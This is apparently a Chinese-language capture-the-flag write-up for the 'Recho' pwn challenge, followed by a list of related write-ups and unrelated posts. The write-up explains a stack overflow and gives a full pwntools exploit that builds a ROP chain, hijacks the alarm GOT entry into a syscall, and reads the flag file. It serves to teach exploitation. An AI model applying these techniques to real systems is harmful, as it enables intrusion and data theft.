【攻防世界】 高手进阶区 Recho WP
0x00 考察点
考察点有三个:
- ROP链构造
- Got表劫持
- pwntools的shutdown功能
0x01 程序分析
上来三板斧
file一下

checksec --file XXX

chmod 777 XXX加上./XXX 运行一下

静态调试
打开IDA-64,一路默认,看到main函数:

可以看到执行的功能是先输入字符串长度,然后输入字符串,接着会返回指定长度的输入字符串。如果一开始输入的数字小于16,会指定长度为16。可以看到很明显的栈溢出漏洞。但是又有些不一样,看大神WP才知道需要shutdown('send')跳出循环才可以。
0x02 漏洞在哪里?
这个题目有个明显后门,在IDA中shift+f12查看程序中的字符串,发现有flag。可以将它read到bss段中,再通过write输出出来

在gdb动态调试时,分析alarm,发现有
disassemble alarm

0x03 利用思路
漏洞利用思路如下:
- alrm函数got表劫持到syscall位置
- open('flag',READONLY)
- 通过read将flag写入到bss段,之后再write输出
ROP链条:
syscall>>flag>>read>>write
ROP地址


0x04 EXP脚本
exp代码如下:
from pwn import *
# io = process('./Recho')
io = remote('111.198.29.45',41375)
elf = ELF('./Recho')
context.log_level = 'debug'
pop_rdi = 0x4008a3
pop_rdx = 0x4006fe
pop_rax = 0x4006fc
pop_rsi_r15 = 0x4008a1
rdi_add = 0x40070d
flag_addr = elf.symbols['flag']
read_got = elf.got['read']
# bss = 0x601090
bss = elf.bss() #两者都可以
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
print 'flag: ',hex(flag_addr)
payload = 'A'*0x30 #覆盖buf[40]; // [rsp+10h] [rbp-30h]
payload +='A'*0x08 #覆盖 rbp
#alarm GOT表劫持到syscall位置
payload += p64(pop_rax)+p64(0x5)
payload += p64(pop_rdi)+p64(alarm_got)
payload += p64(rdi_add)
# -------fd=open('flag',READONLY)-----
payload += p64(pop_rdi)+p64(flag_addr) #rdi='flag
payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
payload += p64(pop_rdx)+p64(0) # rdx = 0
payload += p64(pop_rax)+p64(0x2) # rax=2,open的调用号为2
# 执行alarm完成GOT表劫持,syscall的传参顺序是rdi,rsi,rdx,r10,r9,r8
payload += p64(alarm_plt)
# 将flag传回的值写入到bss段 read(fd,stdin_buffer,100)
payload += p64(pop_rdi)+p64(3) #open()打开文件返回的文件描述符一般从3开始,系统环境不一样也可能不是3,依次顺序增加
payload += p64(pop_rdx)+p64(0x2d) #指定长度
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi =写入的地址,用于存取open结果
payload += p64(read_plt)
#输出flag值,write(1,bss,0x40),也可以用print函数
payload += p64(pop_rsi_r15)+p64(bss)+p64(0)
payload += p64(pop_rdx)+p64(0x40)
payload += p64(pop_rdi)+p64(0x01)
payload += p64(write_plt)
# 用printf 函数时,要注意bss段的可写性,bss此时应改为0x601090或者0x601070
#payload+=p64(pop_rdi)+p64(bss)+p64(printf_plt)
io.sendline(str(0x200))
# log.info('the length of payload is:',format(hex(len(payload))))
print 'the length of payload is:',format(hex(len(payload)))
payload = payload.ljust(0x200,'\x00')
io.send(payload)
io.recv()
io.shutdown('send')
io.interactive()
0x05 知识点
函数参数传递顺序
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9shutdown('send')跳出函数无线循环
rax寄存器在构造exp中,可用于劫持got表,调用系统序号函数。
推荐阅读
- 攻防世界题目中的WP(https://adworld.xctf.org.cn/media/uploads/writeup/4b6e244402fe11ea9f5700163e004e93.pdf)
- 64位汇编参数传递
【攻防世界】 高手进阶区 Recho WP的更多相关文章
- 攻防世界 高手进阶区 web cat
php cURL CURLOPT_SAFE_UPLOAD django DEBUG mode Django使用的是gbk编码,超过%F7的编码不在gbk中有意义 当 CURLOPT_SAFE_UPLO ...
- 攻防世界_MISC进阶区_Get-the-key.txt(详细)
攻防世界MISC进阶之Get-the-key.txt 啥话也不说,咱们直接看题吧! 首先下载附件看到一个压缩包: 我们直接解压,看到一个文件,也没有后缀名,先用 file 看一下文件属性: 发现是是L ...
- 攻防世界 web进阶区 ics-06
攻防世界 ics-06 涉及知识点: (1)php://filter协议 (2)php中preg_replace()函数的漏洞 解析: 进入题目的界面,一通乱点点出了唯一一个可以进入的界面. 观察ur ...
- 攻防世界高手进阶之Web_python_block_chain(2018年DDCTFmini blockchain)
打开题目大概看了一下,是有关区块链的题目, 感觉代码要格式化一下,不然没法看 代码格式化站点:https://www.html.cn/tool/js_beautify/ hash of genesis ...
- 攻防世界MISC进阶区 52-55
52.Excaliflag 得到一张png,扔进stegsolve中查看,找到flag 53.Just-No-One 得到一个exe,运行后居然是一个安装程序,看了一下没什么问题,扔进ida pro中 ...
- 攻防世界MISC—进阶区21-30
21.easycap 得到一个pcap文件,协议分级统计,发现都是TCP协议 直接追踪tcp流,得到FLAG 22.reverseMe 得到一张镜面翻转的flag,放入PS中,图像-图像旋转-水平翻转 ...
- 攻防世界 web 进阶区 刷题记录
1.Training-WWW-Robots 题目提示了robots协议,直接访问robots.txt 继续访问fl0g.php 2.baby_web 题目描述:想想初始页面是哪个 百度搜了下,inde ...
- 攻防世界web进阶区(2)--记一次sql注入
题目地址:http://111.198.29.45:56094 这是一道sql注入题. 试试1' order by 3#,发现页面显示正常,将3换为4时,页面报错,则说明含有3个字段. 接下来判断输出 ...
- 攻防世界web进阶区(1)
1.题目地址:http://111.198.29.45:43589 页面提示打开robots文件,则: 页面有提示输入fl0g.php,那么 获取flag. 2.题目地址:http://111.198 ...
随机推荐
- Centos7下载和安装教程
https://blog.csdn.net/qq_42570879/article/details/82853708 阿里下载64bit镜像:http://mirrors.aliyun.com/cen ...
- 使用UUID防止文件重名
在原文件名的基础上加 UUID.randomUUID().toString()
- char **argv 与char *argv[]
1.char **argv 分析:argv是一个指针变量,argv的指向(*argv)是char *,也就是argv指向的也是一个指针 : *argv的指向(**argv)是char. 2.char ...
- STM32内部时钟树
1.外部晶振是干什么用的? 2.内部晶振是干什么用的? 3.外部晶振频率的大小能影响什么?
- Linux 笔记:路径
路径 pwd:查看当前路径 cd xxx:进入指定路径 路径中的一些特殊代表符号: .:当前路径 ..:上一级路径 -:上次访问的路径 /:根路径 ~:当前用户的主目录路径
- ubuntu 18 python3.6更换国内源和pip3源
1.更换国内源 查看Ubuntu18版本和codename(一定要注意codename对应) lsb_release -a No LSB modules are available. Distribu ...
- 单播反向路径转发uRPF
uRPF将数据包的源地址和存储在转发信息库(FIB)中的信息进行对照,以判定数据包的合法性.FIB是Cisco CEF技术中的一张表,包含从路由表中复制过来的转发信息,可以将其视为路由表的镜像,FIB ...
- CRS-1硬件维护
一.CRS-1硬件介绍CRS-1 路由器是Cisco 推出的新的大容量骨干路由器,是一个支持多机箱扩展的路由系统.其设计容量可以扩展至72 个线卡机箱.8 个矩阵机箱,总交换容量达到92Tbps,具有 ...
- Laravel 6.X 数据库迁移 创建表 与 修改表
数据库迁移创建表 本篇文章中使用的是mysql数据库,其他数据库需要修改env文件和app配置,请其他地方搜索一下就会找到. 创建示例 1.创建users表: 命令行键入 php artisan ma ...
- QWidget: “Must construct a QApplication before a QWidget”
最近在做一个关于Qt的项目,在debug版本中没有任何问题,所以就想看看在Release版本下的运行情况,结果在开始运行时,出现如下图1-1所示的错误.在网上搜索答案,大多数是关于QWidget: M ...